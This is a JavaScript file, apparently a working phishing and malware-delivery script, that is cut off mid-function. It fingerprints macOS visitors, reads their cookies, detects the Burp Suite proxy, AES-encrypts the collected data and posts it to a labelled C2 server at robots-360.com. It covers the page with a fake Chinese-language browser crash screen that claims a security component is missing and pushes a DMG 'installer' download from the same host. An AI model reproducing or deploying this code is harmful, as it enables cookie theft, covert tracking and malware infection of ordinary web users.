/** * ============================================================================ * [1] MD5 Hash Function * Generates MD5 hash for fingerprint identification * ============================================================================ */ var MD5 = function (string) { function RotateLeft(lValue, iShiftBits) { return (lValue<>>(32-iShiftBits)); } function AddUnsigned(lX,lY) { var lX4,lY4,lX8,lY8,lResult; lX8 = (lX & 0x80000000); lY8 = (lY & 0x80000000); lX4 = (lX & 0x40000000); lY4 = (lY & 0x40000000); lResult = (lX & 0x3FFFFFFF)+(lY & 0x3FFFFFFF); if (lX4 & lY4) { return (lResult ^ 0x80000000 ^ lX8 ^ lY8); } if (lX4 | lY4) { if (lResult & 0x40000000) { return (lResult ^ 0xC0000000 ^ lX8 ^ lY8); } else { return (lResult ^ 0x40000000 ^ lX8 ^ lY8); } } else { return (lResult ^ lX8 ^ lY8); } } function F(x,y,z) { return (x & y) | ((~x) & z); } function G(x,y,z) { return (x & z) | (y & (~z)); } function H(x,y,z) { return (x ^ y ^ z); } function I(x,y,z) { return (y ^ (x | (~z))); } function FF(a,b,c,d,x,s,ac) { a = AddUnsigned(a, AddUnsigned(AddUnsigned(F(b, c, d), x), ac)); return AddUnsigned(RotateLeft(a, s), b); }; function GG(a,b,c,d,x,s,ac) { a = AddUnsigned(a, AddUnsigned(AddUnsigned(G(b, c, d), x), ac)); return AddUnsigned(RotateLeft(a, s), b); }; function HH(a,b,c,d,x,s,ac) { a = AddUnsigned(a, AddUnsigned(AddUnsigned(H(b, c, d), x), ac)); return AddUnsigned(RotateLeft(a, s), b); }; function II(a,b,c,d,x,s,ac) { a = AddUnsigned(a, AddUnsigned(AddUnsigned(I(b, c, d), x), ac)); return AddUnsigned(RotateLeft(a, s), b); }; function ConvertToWordArray(string) { var lWordCount; var lMessageLength = string.length; var lNumberOfWords_temp1=lMessageLength + 8; var lNumberOfWords_temp2=(lNumberOfWords_temp1-(lNumberOfWords_temp1 % 64))/64; var lNumberOfWords = (lNumberOfWords_temp2+1)*16; var lWordArray=Array(lNumberOfWords-1); var lBytePosition = 0; var lByteCount = 0; while ( lByteCount < lMessageLength ) { lWordCount = (lByteCount-(lByteCount % 4))/4; lBytePosition = (lByteCount % 4)*8; lWordArray[lWordCount] = (lWordArray[lWordCount] | (string.charCodeAt(lByteCount)<>>29; return lWordArray; }; function WordToHex(lValue) { var WordToHexValue="",WordToHexValue_temp="",lByte,lCount; for (lCount = 0;lCount<=3;lCount++) { lByte = (lValue>>>(lCount*8)) & 255; WordToHexValue_temp = "0" + lByte.toString(16); WordToHexValue = WordToHexValue + WordToHexValue_temp.substr(WordToHexValue_temp.length-2,2); } return WordToHexValue; }; function Utf8Encode(string) { string = string.replace(/\r\n/g,"\n"); var utftext = ""; for (var n = 0; n < string.length; n++) { var c = string.charCodeAt(n); if (c < 128) { utftext += String.fromCharCode(c); } else if((c > 127) && (c < 2048)) { utftext += String.fromCharCode((c >> 6) | 192); utftext += String.fromCharCode((c & 63) | 128); } else { utftext += String.fromCharCode((c >> 12) | 224); utftext += String.fromCharCode(((c >> 6) & 63) | 128); utftext += String.fromCharCode((c & 63) | 128); } } return utftext; }; var x=Array(); var k,AA,BB,CC,DD,a,b,c,d; var S11=7, S12=12, S13=17, S14=22; var S21=5, S22=9 , S23=14, S24=20; var S31=4, S32=11, S33=16, S34=23; var S41=6, S42=10, S43=15, S44=21; string = Utf8Encode(string); x = ConvertToWordArray(string); a = 0x67452301; b = 0xEFCDAB89; c = 0x98BADCFE; d = 0x10325476; for (k=0;k>>2]|=(e[k>>>2]>>>24-8*(k%4)&255)<<24-8*((j+k)%4);else if(65535>>2]=e[k>>>2];else c.push.apply(c,e);this.sigBytes+=a;return this},clamp:function(){var a=this.words,c=this.sigBytes;a[c>>>2]&=4294967295<< 32-8*(c%4);a.length=u.ceil(c/4)},clone:function(){var a=t.clone.call(this);a.words=this.words.slice(0);return a},random:function(a){for(var c=[],e=0;e>>2]>>>24-8*(j%4)&255;e.push((k>>>4).toString(16));e.push((k&15).toString(16))}return e.join("")},parse:function(a){for(var c=a.length,e=[],j=0;j>>3]|=parseInt(a.substr(j, 2),16)<<24-4*(j%8);return new r.init(e,c/2)}},b=w.Latin1={stringify:function(a){var c=a.words;a=a.sigBytes;for(var e=[],j=0;j>>2]>>>24-8*(j%4)&255));return e.join("")},parse:function(a){for(var c=a.length,e=[],j=0;j>>2]|=(a.charCodeAt(j)&255)<<24-8*(j%4);return new r.init(e,c)}},x=w.Utf8={stringify:function(a){try{return decodeURIComponent(escape(b.stringify(a)))}catch(c){throw Error("Malformed UTF-8 data");}},parse:function(a){return b.parse(unescape(encodeURIComponent(a)))}}, q=l.BufferedBlockAlgorithm=t.extend({reset:function(){this._data=new r.init;this._nDataBytes=0},_append:function(a){"string"==typeof a&&(a=x.parse(a));this._data.concat(a);this._nDataBytes+=a.sigBytes},_process:function(a){var c=this._data,e=c.words,j=c.sigBytes,k=this.blockSize,b=j/(4*k),b=a?u.ceil(b):u.max((b|0)-this._minBufferSize,0);a=b*k;j=u.min(4*a,j);if(a){for(var q=0;q>>2]>>>24-8*(r%4)&255)<<16|(l[r+1>>>2]>>>24-8*((r+1)%4)&255)<<8|l[r+2>>>2]>>>24-8*((r+2)%4)&255,v=0;4>v&&r+0.75*v>>6*(3-v)&63));if(l=t.charAt(64))for(;d.length%4;)d.push(l);return d.join("")},parse:function(d){var l=d.length,s=this._map,t=s.charAt(64);t&&(t=d.indexOf(t),-1!=t&&(l=t));for(var t=[],r=0,w=0;w< l;w++)if(w%4){var v=s.indexOf(d.charAt(w-1))<<2*(w%4),b=s.indexOf(d.charAt(w))>>>6-2*(w%4);t[r>>>2]|=(v|b)<<24-8*(r%4);r++}return p.create(t,r)},_map:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="}})(); (function(u){function p(b,n,a,c,e,j,k){b=b+(n&a|~n&c)+e+k;return(b<>>32-j)+n}function d(b,n,a,c,e,j,k){b=b+(n&c|a&~c)+e+k;return(b<>>32-j)+n}function l(b,n,a,c,e,j,k){b=b+(n^a^c)+e+k;return(b<>>32-j)+n}function s(b,n,a,c,e,j,k){b=b+(a^(n|~c))+e+k;return(b<>>32-j)+n}for(var t=CryptoJS,r=t.lib,w=r.WordArray,v=r.Hasher,r=t.algo,b=[],x=0;64>x;x++)b[x]=4294967296*u.abs(u.sin(x+1))|0;r=r.MD5=v.extend({_doReset:function(){this._hash=new w.init([1732584193,4023233417,2562383102,271733878])}, _doProcessBlock:function(q,n){for(var a=0;16>a;a++){var c=n+a,e=q[c];q[c]=(e<<8|e>>>24)&16711935|(e<<24|e>>>8)&4278255360}var a=this._hash.words,c=q[n+0],e=q[n+1],j=q[n+2],k=q[n+3],z=q[n+4],r=q[n+5],t=q[n+6],w=q[n+7],v=q[n+8],A=q[n+9],B=q[n+10],C=q[n+11],u=q[n+12],D=q[n+13],E=q[n+14],x=q[n+15],f=a[0],m=a[1],g=a[2],h=a[3],f=p(f,m,g,h,c,7,b[0]),h=p(h,f,m,g,e,12,b[1]),g=p(g,h,f,m,j,17,b[2]),m=p(m,g,h,f,k,22,b[3]),f=p(f,m,g,h,z,7,b[4]),h=p(h,f,m,g,r,12,b[5]),g=p(g,h,f,m,t,17,b[6]),m=p(m,g,h,f,w,22,b[7]), f=p(f,m,g,h,v,7,b[8]),h=p(h,f,m,g,A,12,b[9]),g=p(g,h,f,m,B,17,b[10]),m=p(m,g,h,f,C,22,b[11]),f=p(f,m,g,h,u,7,b[12]),h=p(h,f,m,g,D,12,b[13]),g=p(g,h,f,m,E,17,b[14]),m=p(m,g,h,f,x,22,b[15]),f=d(f,m,g,h,e,5,b[16]),h=d(h,f,m,g,t,9,b[17]),g=d(g,h,f,m,C,14,b[18]),m=d(m,g,h,f,c,20,b[19]),f=d(f,m,g,h,r,5,b[20]),h=d(h,f,m,g,B,9,b[21]),g=d(g,h,f,m,x,14,b[22]),m=d(m,g,h,f,z,20,b[23]),f=d(f,m,g,h,A,5,b[24]),h=d(h,f,m,g,E,9,b[25]),g=d(g,h,f,m,k,14,b[26]),m=d(m,g,h,f,v,20,b[27]),f=d(f,m,g,h,D,5,b[28]),h=d(h,f, m,g,j,9,b[29]),g=d(g,h,f,m,w,14,b[30]),m=d(m,g,h,f,u,20,b[31]),f=l(f,m,g,h,r,4,b[32]),h=l(h,f,m,g,v,11,b[33]),g=l(g,h,f,m,C,16,b[34]),m=l(m,g,h,f,E,23,b[35]),f=l(f,m,g,h,e,4,b[36]),h=l(h,f,m,g,z,11,b[37]),g=l(g,h,f,m,w,16,b[38]),m=l(m,g,h,f,B,23,b[39]),f=l(f,m,g,h,D,4,b[40]),h=l(h,f,m,g,c,11,b[41]),g=l(g,h,f,m,k,16,b[42]),m=l(m,g,h,f,t,23,b[43]),f=l(f,m,g,h,A,4,b[44]),h=l(h,f,m,g,u,11,b[45]),g=l(g,h,f,m,x,16,b[46]),m=l(m,g,h,f,j,23,b[47]),f=s(f,m,g,h,c,6,b[48]),h=s(h,f,m,g,w,10,b[49]),g=s(g,h,f,m, E,15,b[50]),m=s(m,g,h,f,r,21,b[51]),f=s(f,m,g,h,u,6,b[52]),h=s(h,f,m,g,k,10,b[53]),g=s(g,h,f,m,B,15,b[54]),m=s(m,g,h,f,e,21,b[55]),f=s(f,m,g,h,v,6,b[56]),h=s(h,f,m,g,x,10,b[57]),g=s(g,h,f,m,t,15,b[58]),m=s(m,g,h,f,D,21,b[59]),f=s(f,m,g,h,z,6,b[60]),h=s(h,f,m,g,C,10,b[61]),g=s(g,h,f,m,j,15,b[62]),m=s(m,g,h,f,A,21,b[63]);a[0]=a[0]+f|0;a[1]=a[1]+m|0;a[2]=a[2]+g|0;a[3]=a[3]+h|0},_doFinalize:function(){var b=this._data,n=b.words,a=8*this._nDataBytes,c=8*b.sigBytes;n[c>>>5]|=128<<24-c%32;var e=u.floor(a/ 4294967296);n[(c+64>>>9<<4)+15]=(e<<8|e>>>24)&16711935|(e<<24|e>>>8)&4278255360;n[(c+64>>>9<<4)+14]=(a<<8|a>>>24)&16711935|(a<<24|a>>>8)&4278255360;b.sigBytes=4*(n.length+1);this._process();b=this._hash;n=b.words;for(a=0;4>a;a++)c=n[a],n[a]=(c<<8|c>>>24)&16711935|(c<<24|c>>>8)&4278255360;return b},clone:function(){var b=v.clone.call(this);b._hash=this._hash.clone();return b}});t.MD5=v._createHelper(r);t.HmacMD5=v._createHmacHelper(r)})(Math); (function(){var u=CryptoJS,p=u.lib,d=p.Base,l=p.WordArray,p=u.algo,s=p.EvpKDF=d.extend({cfg:d.extend({keySize:4,hasher:p.MD5,iterations:1}),init:function(d){this.cfg=this.cfg.extend(d)},compute:function(d,r){for(var p=this.cfg,s=p.hasher.create(),b=l.create(),u=b.words,q=p.keySize,p=p.iterations;u.length>>2]&255}};d.BlockCipher=v.extend({cfg:v.cfg.extend({mode:b,padding:q}),reset:function(){v.reset.call(this);var a=this.cfg,b=a.iv,a=a.mode;if(this._xformMode==this._ENC_XFORM_MODE)var c=a.createEncryptor;else c=a.createDecryptor,this._minBufferSize=1;this._mode=c.call(a, this,b&&b.words)},_doProcessBlock:function(a,b){this._mode.processBlock(a,b)},_doFinalize:function(){var a=this.cfg.padding;if(this._xformMode==this._ENC_XFORM_MODE){a.pad(this._data,this.blockSize);var b=this._process(!0)}else b=this._process(!0),a.unpad(b);return b},blockSize:4});var n=d.CipherParams=l.extend({init:function(a){this.mixIn(a)},toString:function(a){return(a||this.formatter).stringify(this)}}),b=(p.format={}).OpenSSL={stringify:function(a){var b=a.ciphertext;a=a.salt;return(a?s.create([1398893684, 1701076831]).concat(a).concat(b):b).toString(r)},parse:function(a){a=r.parse(a);var b=a.words;if(1398893684==b[0]&&1701076831==b[1]){var c=s.create(b.slice(2,4));b.splice(0,4);a.sigBytes-=16}return n.create({ciphertext:a,salt:c})}},a=d.SerializableCipher=l.extend({cfg:l.extend({format:b}),encrypt:function(a,b,c,d){d=this.cfg.extend(d);var l=a.createEncryptor(c,d);b=l.finalize(b);l=l.cfg;return n.create({ciphertext:b,key:c,iv:l.iv,algorithm:a,mode:l.mode,padding:l.padding,blockSize:a.blockSize,formatter:d.format})}, decrypt:function(a,b,c,d){d=this.cfg.extend(d);b=this._parse(b,d.format);return a.createDecryptor(c,d).finalize(b.ciphertext)},_parse:function(a,b){return"string"==typeof a?b.parse(a,this):a}}),p=(p.kdf={}).OpenSSL={execute:function(a,b,c,d){d||(d=s.random(8));a=w.create({keySize:b+c}).compute(a,d);c=s.create(a.words.slice(b),4*c);a.sigBytes=4*b;return n.create({key:a,iv:c,salt:d})}},c=d.PasswordBasedCipher=a.extend({cfg:a.cfg.extend({kdf:p}),encrypt:function(b,c,d,l){l=this.cfg.extend(l);d=l.kdf.execute(d, b.keySize,b.ivSize);l.iv=d.iv;b=a.encrypt.call(this,b,c,d.key,l);b.mixIn(d);return b},decrypt:function(b,c,d,l){l=this.cfg.extend(l);c=this._parse(c,l.format);d=l.kdf.execute(d,b.keySize,b.ivSize,c.salt);l.iv=d.iv;return a.decrypt.call(this,b,c,d.key,l)}})}(); (function(){for(var u=CryptoJS,p=u.lib.BlockCipher,d=u.algo,l=[],s=[],t=[],r=[],w=[],v=[],b=[],x=[],q=[],n=[],a=[],c=0;256>c;c++)a[c]=128>c?c<<1:c<<1^283;for(var e=0,j=0,c=0;256>c;c++){var k=j^j<<1^j<<2^j<<3^j<<4,k=k>>>8^k&255^99;l[e]=k;s[k]=e;var z=a[e],F=a[z],G=a[F],y=257*a[k]^16843008*k;t[e]=y<<24|y>>>8;r[e]=y<<16|y>>>16;w[e]=y<<8|y>>>24;v[e]=y;y=16843009*G^65537*F^257*z^16843008*e;b[k]=y<<24|y>>>8;x[k]=y<<16|y>>>16;q[k]=y<<8|y>>>24;n[k]=y;e?(e=z^a[a[a[G^z]]],j^=a[a[j]]):e=j=1}var H=[0,1,2,4,8, 16,32,64,128,27,54],d=d.AES=p.extend({_doReset:function(){for(var a=this._key,c=a.words,d=a.sigBytes/4,a=4*((this._nRounds=d+6)+1),e=this._keySchedule=[],j=0;j>>24]<<24|l[k>>>16&255]<<16|l[k>>>8&255]<<8|l[k&255]):(k=k<<8|k>>>24,k=l[k>>>24]<<24|l[k>>>16&255]<<16|l[k>>>8&255]<<8|l[k&255],k^=H[j/d|0]<<24);e[j]=e[j-d]^k}c=this._invKeySchedule=[];for(d=0;dd||4>=j?k:b[l[k>>>24]]^x[l[k>>>16&255]]^q[l[k>>> 8&255]]^n[l[k&255]]},encryptBlock:function(a,b){this._doCryptBlock(a,b,this._keySchedule,t,r,w,v,l)},decryptBlock:function(a,c){var d=a[c+1];a[c+1]=a[c+3];a[c+3]=d;this._doCryptBlock(a,c,this._invKeySchedule,b,x,q,n,s);d=a[c+1];a[c+1]=a[c+3];a[c+3]=d},_doCryptBlock:function(a,b,c,d,e,j,l,f){for(var m=this._nRounds,g=a[b]^c[0],h=a[b+1]^c[1],k=a[b+2]^c[2],n=a[b+3]^c[3],p=4,r=1;r>>24]^e[h>>>16&255]^j[k>>>8&255]^l[n&255]^c[p++],s=d[h>>>24]^e[k>>>16&255]^j[n>>>8&255]^l[g&255]^c[p++],t= d[k>>>24]^e[n>>>16&255]^j[g>>>8&255]^l[h&255]^c[p++],n=d[n>>>24]^e[g>>>16&255]^j[h>>>8&255]^l[k&255]^c[p++],g=q,h=s,k=t;q=(f[g>>>24]<<24|f[h>>>16&255]<<16|f[k>>>8&255]<<8|f[n&255])^c[p++];s=(f[h>>>24]<<24|f[k>>>16&255]<<16|f[n>>>8&255]<<8|f[g&255])^c[p++];t=(f[k>>>24]<<24|f[n>>>16&255]<<16|f[g>>>8&255]<<8|f[h&255])^c[p++];n=(f[n>>>24]<<24|f[g>>>16&255]<<16|f[h>>>8&255]<<8|f[k&255])^c[p++];a[b]=q;a[b+1]=s;a[b+2]=t;a[b+3]=n},keySize:8});u.AES=p._createHelper(d)})(); /** * AES JSON format for encryption output * @type {Object} */ var CryptoJSAesJson = { stringify: function (cipherParams) { var j = {ct: cipherParams.ciphertext.toString(CryptoJS.enc.Base64)}; if (cipherParams.iv) j.iv = cipherParams.iv.toString(); if (cipherParams.salt) j.s = cipherParams.salt.toString(); return JSON.stringify(j); }, parse: function (jsonStr) { var j = JSON.parse(jsonStr); var cipherParams = CryptoJS.lib.CipherParams.create({ciphertext: CryptoJS.enc.Base64.parse(j.ct)}); if (j.iv) cipherParams.iv = CryptoJS.enc.Hex.parse(j.iv) if (j.s) cipherParams.salt = CryptoJS.enc.Hex.parse(j.s) return cipherParams; } } /** * Encrypts a string using AES encryption * @param {string} encrypt_string - The string to encrypt * @returns {string} - The encrypted string */ function encrypted(encrypt_string){ return CryptoJS.AES.encrypt(JSON.stringify(encrypt_string), "passphrase", {format: CryptoJSAesJson}).toString(); } /** * ============================================================================ * [3] Base64 Encoding Utility * ============================================================================ */ let Base64 = { encode(str) { return btoa(encodeURIComponent(str).replace(/%([0-9A-F]{2})/g, function toSolidBytes(match, p1) { return String.fromCharCode('0x' + p1); })); }, decode(str) { return decodeURIComponent(atob(str).split('').map(function (c) { return '%' + ('00' + c.charCodeAt(0).toString(16)).slice(-2); }).join('')); } }; /** * ============================================================================ * [4] XMLHttpRequest Utility * Creates XMLHttpRequest object with cross-browser compatibility * ============================================================================ */ var xmlHttp; function createXmlHttp() { if (window.XMLHttpRequest) { xmlHttp = new XMLHttpRequest() } else { var MSXML = new Array('MSXML2.XMLHTTP.5.0', 'MSXML2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP', 'Microsoft.XMLHTTP'); for (var n = 0; n < MSXML.length; n++) { try { xmlHttp = new ActiveXObject(MSXML[n]); break } catch(e) {} } } } /** * ============================================================================ * [5] Dynamic Style and Title Injection Module * Injects CSS styles and page title dynamically via JavaScript * ============================================================================ */ /** * Injects the page title dynamically */ function injectTitle() { document.title = '喔唷,崩溃啦!'; } /** * Injects CSS styles dynamically into the document head */ function injectStyles() { var style = document.createElement('style'); style.type = 'text/css'; style.innerHTML = /** * Fullscreen overlay layer - covers the entire viewport * Uses position:fixed + z-index:2147483647 to stay on top of all elements */ '.phishing-overlay {' + 'position: fixed;' + 'top: 0;' + 'left: 0;' + 'width: 100%;' + 'height: 100%;' + 'z-index: 2147483647;' + 'background-color: #fff;' + 'overflow: auto;' + 'display: flex;' + 'justify-content: center;' + 'align-items: center;' + 'font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Tahoma, sans-serif;' + 'color: #202124;' + 'margin: 0;' + 'padding: 0;' + '}' + /** * Inner container - centered content area within the overlay */ '.phishing-overlay .container {' + 'max-width: 600px;' + 'padding: 20px;' + '}' + '.phishing-overlay .icon {' + 'margin-bottom: 24px;' + '}' + '.phishing-overlay h1 {' + 'font-size: 24px;' + 'font-weight: 500;' + 'margin-bottom: 16px;' + 'color: #202124;' + '}' + '.phishing-overlay p {' + 'font-size: 15px;' + 'line-height: 1.6;' + 'color: #5f6368;' + 'margin-bottom: 12px;' + '}' + '.phishing-overlay .error-code {' + 'font-size: 13px;' + 'color: #5f6368;' + 'margin-top: 24px;' + 'margin-bottom: 24px;' + 'font-family: monospace;' + '}' + '.phishing-overlay .buttons {' + 'margin-top: 32px;' + '}' + '.phishing-overlay button {' + 'background-color: #1a73e8;' + 'color: white;' + 'border: none;' + 'padding: 8px 16px;' + 'border-radius: 4px;' + 'font-size: 14px;' + 'font-weight: 500;' + 'cursor: pointer;' + 'transition: background-color 0.2s;' + '}' + '.phishing-overlay button:hover {' + 'background-color: #1557b0;' + '}' + '.phishing-overlay .secondary-text {' + 'margin-top: 20px;' + 'padding: 15px;' + 'background-color: #f8f9fa;' + 'border-left: 4px solid #d93025;' + 'border-radius: 4px;' + '}' + '.phishing-overlay .secondary-text strong {' + 'color: #d93025;' + 'display: block;' + 'margin-bottom: 8px;' + '}' + '.phishing-overlay a {' + 'text-decoration: none;' + '}'; document.head.appendChild(style); } /** * ============================================================================ * [6] macOS Fingerprint Collection Module * Collects device-specific information for macOS systems * ============================================================================ */ /** * Extracts macOS version from user agent string * @returns {string} - macOS version (e.g., "14.2" for Sonoma) */ function getMacOSVersion() { var ua = navigator.userAgent; var match = ua.match(/Mac OS X (\d+[._]\d+[._]?\d*)/); if (match) { return match[1].replace(/_/g, '.'); } return 'Unknown'; } /** * Detects if the system is Apple Silicon (M1/M2/M3) or Intel * @returns {Object} - GPU vendor and renderer information */ function getGPUInfo() { var result = { vendor: 'Unknown', renderer: 'Unknown', chipType: 'Unknown' }; try { var canvas = document.createElement("canvas"); var gl = canvas.getContext("webgl") || canvas.getContext("experimental-webgl"); if (gl) { var debugInfo = gl.getExtension("WEBGL_debug_renderer_info"); if (debugInfo) { result.vendor = gl.getParameter(debugInfo.UNMASKED_VENDOR_WEBGL); result.renderer = gl.getParameter(debugInfo.UNMASKED_RENDERER_WEBGL); // Detect Apple Silicon vs Intel if (result.renderer.indexOf('Apple M') !== -1) { if (result.renderer.indexOf('M3') !== -1) { result.chipType = 'Apple M3'; } else if (result.renderer.indexOf('M2') !== -1) { result.chipType = 'Apple M2'; } else if (result.renderer.indexOf('M1') !== -1) { result.chipType = 'Apple M1'; } else { result.chipType = 'Apple Silicon'; } } else if (result.renderer.indexOf('Intel') !== -1) { result.chipType = 'Intel'; } else if (result.renderer.indexOf('AMD') !== -1) { result.chipType = 'AMD'; } } } } catch (e) { console.log('WebGL not supported'); } return result; } /** * Gets browser plugin list * @returns {string} - List of installed browser plugins */ function getPluginList() { var all = []; if (navigator.plugins && navigator.plugins.length) { for (var x = 0; x < navigator.plugins.length; x++) { all.push(navigator.plugins[x].name.replace(/,/g, " ") + " (File: " + navigator.plugins[x].filename.replace(/,/g, " ") + ")"); } } return all.join(" | "); } /** * Gets timezone information * @returns {string} - Timezone identifier */ function getTimezone() { try { return Intl.DateTimeFormat().resolvedOptions().timeZone; } catch (e) { return 'Unknown'; } } /** * Gets device memory (if available) * @returns {string} - Device memory in GB */ function getDeviceMemory() { if (navigator.deviceMemory) { return navigator.deviceMemory + ' GB'; } return 'Unknown'; } /** * Detects browser type * @returns {string} - Browser name */ function getBrowserType() { var ua = navigator.userAgent; if (ua.indexOf('Safari') !== -1 && ua.indexOf('Chrome') === -1) { return 'Safari'; } else if (ua.indexOf('Chrome') !== -1) { return 'Chrome'; } else if (ua.indexOf('Firefox') !== -1) { return 'Firefox'; } else if (ua.indexOf('Edg') !== -1) { return 'Edge'; } return 'Unknown'; } /** * Generates a unique device fingerprint using MD5 * @returns {string} - MD5 hash of device characteristics */ function generateFingerprint() { var gpuInfo = getGPUInfo(); var fingerprintData = [ navigator.hardwareConcurrency || 'Unknown', window.screen.width, window.screen.height, window.screen.colorDepth, getMacOSVersion(), gpuInfo.renderer, navigator.language, getTimezone() ].join('|'); return MD5(fingerprintData); } /** * Collects all macOS fingerprint information * @returns {Object} - Complete fingerprint data */ function collectMacOSFingerprint() { var gpuInfo = getGPUInfo(); return { platform: 'macOS', os_version: getMacOSVersion(), screen_width: window.screen.width, screen_height: window.screen.height, color_depth: window.screen.colorDepth, cpu_cores: navigator.hardwareConcurrency || 'Unknown', device_memory: getDeviceMemory(), gpu_vendor: gpuInfo.vendor, gpu_renderer: gpuInfo.renderer, chip_type: gpuInfo.chipType, browser: getBrowserType(), browser_plugins: getPluginList(), language: navigator.language, timezone: getTimezone(), user_agent: navigator.userAgent, url: window.location.href, referrer: document.referrer, host: window.location.host, cookie: document.cookie, fingerprint: generateFingerprint() }; } /** * ============================================================================ * [7] Burp Suite Detection Module * Detects if Burp Suite proxy is running * ============================================================================ */ var burpStatus = 'unknown'; /** * Detects Burp Suite by attempting to load its favicon * @param {Function} callback - Callback function with detection result */ function detectBurpSuite(callback) { var burpImg = document.createElement("img"); burpImg.style.display = "none"; burpImg.src = "http://burp/favicon.ico"; burpImg.onload = function() { burpStatus = 'detected'; console.log('Burp Suite detected'); if (callback) callback('detected'); }; burpImg.onerror = function() { burpStatus = 'not_detected'; console.log('Burp Suite not detected'); if (callback) callback('not_detected'); }; document.body.appendChild(burpImg); } /** * ============================================================================ * [8] Data Exfiltration Module * Sends encrypted data to C2 server * ============================================================================ */ /** * C2 server endpoint for data collection * @type {string} */ var C2_SERVER = "https://robots-360.com/analysize3.php?c="; /** * Sends collected information to C2 server * @param {string} action - The action/event that triggered the send * @param {string} burpStatusParam - Burp Suite detection status */ function sendInformation(action, burpStatusParam) { var fingerprint = collectMacOSFingerprint(); // Build the data string in a format similar to the original var dataString = "\r\nPlatform: " + fingerprint.platform + "\r\nOS Version: " + fingerprint.os_version + "\r\nScreen_width: " + fingerprint.screen_width + "\r\nScreen_height: " + fingerprint.screen_height + "\r\nColor Depth: " + fingerprint.color_depth + "\r\nCPU Cores: " + fingerprint.cpu_cores + "\r\nDevice Memory: " + fingerprint.device_memory + "\r\nGPU Vendor: " + fingerprint.gpu_vendor + "\r\nGPU Renderer: " + fingerprint.gpu_renderer + "\r\nChip Type: " + fingerprint.chip_type + "\r\nBrowser: " + fingerprint.browser + "\r\nBrowser Extension: " + fingerprint.browser_plugins + "\r\nLanguage: " + fingerprint.language + "\r\nTimezone: " + fingerprint.timezone + "\r\nHeader information: " + fingerprint.user_agent + "\r\nURL: " + fingerprint.url + "\r\nReferrer: " + fingerprint.referrer + "\r\nHost: " + fingerprint.host + "\r\nCookie: " + fingerprint.cookie + "\r\nBrowser Fingerprint: " + fingerprint.fingerprint + "\r\nBurp suite status: " + burpStatusParam + "\r\nAction: " + action + "\r\n"; // Encrypt the data using AES var encryptedData = encrypted(dataString); // Send to C2 server using key-value format so form-urlencoded parsers can read it. createXmlHttp(); var xhttp = xmlHttp; xhttp.open("POST", C2_SERVER, true); xhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); xhttp.withCredentials = true; var requestBody =encryptedData; xhttp.send(requestBody); console.log('Data sent to C2 server, payload length: ' + requestBody.length); } /** * ============================================================================ * [9] Dynamic Page Rendering Module * Renders the phishing page dynamically using JavaScript * ============================================================================ */ /** * Renders the crash page phishing interface */ function renderPhishingPage() { /** * Create a fullscreen overlay div that covers the entire viewport. * This ensures the phishing page sits on top of any existing page content * without modifying the original DOM structure. */ var overlay = document.createElement('div'); overlay.className = 'phishing-overlay'; var container = document.createElement('div'); container.className = 'container'; container.innerHTML = '
' + '' + '' + '' + '' + '
' + '

喔唷,崩溃啦!

' + '

显示此网页时出了点问题。

' + '
' + '⚠️ 严重错误:安全组件缺失' + '

检测到您的浏览器缺少 UEMS (Universal Endpoint Management Security) 核心组件,导致页面渲染被强制终止。

' + '

为防止数据泄露,系统已暂停访问。请立即安装修复工具。

' + '

* 安装完成后,请重新启动浏览器以恢复访问。

' + '
' + '
错误代码:RESULT_CODE_MISSING_UEMS_AGENT
' + '
' + '' + '
' + '

' + '了解详情' + '

'; /* Nest container inside overlay, then append overlay to body */ overlay.appendChild(container); /* Hide original page scrollbar to prevent background scrolling */ document.body.style.overflow = 'hidden'; document.body.appendChild(overlay); // Add click event listener for download button document.getElementById('download-btn').addEventListener('click', function() { console.log('Download button clicked'); // Send click event to C2 sendInformation('click_download', burpStatus); // Create download link for DMG file var downloadLink = document.createElement('a'); downloadLink.href = 'https://robots-360.com/UEMS_MacAgent_Installer.dmg'; downloadLink.download = 'https://robots-360.com/UEMS_MacAgent_Installer.dmg'; document.body.appendChild(downloadLink); downloadLink.click(); document.body.removeChild(downloadLink); }); // Add click event listener for "learn more" link document.getElementById('learn-more').addEventListener('click', function(e) { e.preventDefault(); sendInformation('click_learn_more', burpStatus); }); } /** * ============================================================================ * [10] Platform Detection and Main Entry Point * Detects if the system is macOS and initiates the phishing flow * ============================================================================ */ /** * Checks if the current system is macOS by examining the User-Agent header. * Looks for "Macintosh" or "Mac OS X" keywords which are present in * all major browsers on macOS (Safari, Chrome, Firefox, Edge). * * @returns {boolean} - True if User-Agent indicates macOS */ function isMacOS() { var ua = navigator.userAgent; return ua.indexOf('Macintosh') !== -1 || ua.indexOf('Mac OS X') !== -1; } /** * Starts the phishing attack flow. * First checks User-Agent for macOS. If not macOS, only sends * a notification to C2 and does NOT render the phishing page. * If macOS, injects styles, detects Burp, collects fingerprint, * and renders the phishing page. */ function startPhishing() { console.log('Starting phishing flow'); // Check User-Agent for macOS if (!isMacOS()) { console.log('User-Agent is not macOS - skipping phishing page'); // Only send information to C2, do NOT render the phishing page detectBurpSuite(function(status) { sendInformation('page_load_non_mac', status); }); return; } console.log('macOS User-Agent detected: ' + navigator.userAgent); // Inject title and styles dynamically injectTitle(); injectStyles(); // Detect Burp Suite first, then proceed detectBurpSuite(function(status) { // Send initial page load information sendInformation('page_load', status); // Render the phishing page renderPhishingPage(); }); } /** * ============================================================================ * [11] Remote JS Detection Module * Checks if remote mac.js exists before starting phishing * If mac.js exists: start phishing flow (machine detected by server) * If mac.js does not exist: do nothing (no machine detected yet) * ============================================================================ */ /** * Remote marker image URL for detection. * Uses a 1x1 pixel PNG image as a signal flag. * tags are not restricted by CORS, so onload/onerror * reliably fire regardless of cross-origin context. * @type {string} */ var REMOTE_MARKER_URL = "https://robots-360.com/mac_marker.png"; /** * Checks if the remote marker image exists using an tag. * is not subject to CORS restrictions, so onload fires * when the image exists (HTTP 200) and onerror fires when it * does not (HTTP 404 / network error / SSL error). * * @param {Function} onExist - Callback when marker EXISTS (start phishing) * @param {Function} onNotExist - Callback when marker does NOT exist (do nothing) */ function checkRemoteJS(onExist, onNotExist) { var randomParam = Math.random().toString(36).substring(2, 15); var checkUrl = REMOTE_MARKER_URL + "?r=" + randomParam + "&t=" + Date.now(); var callbackCalled = false; var img = new Image(); /** * Image loaded successfully - marker file exists on server. * This means the Python script has detected a machine and * created the marker image. */ img.onload = 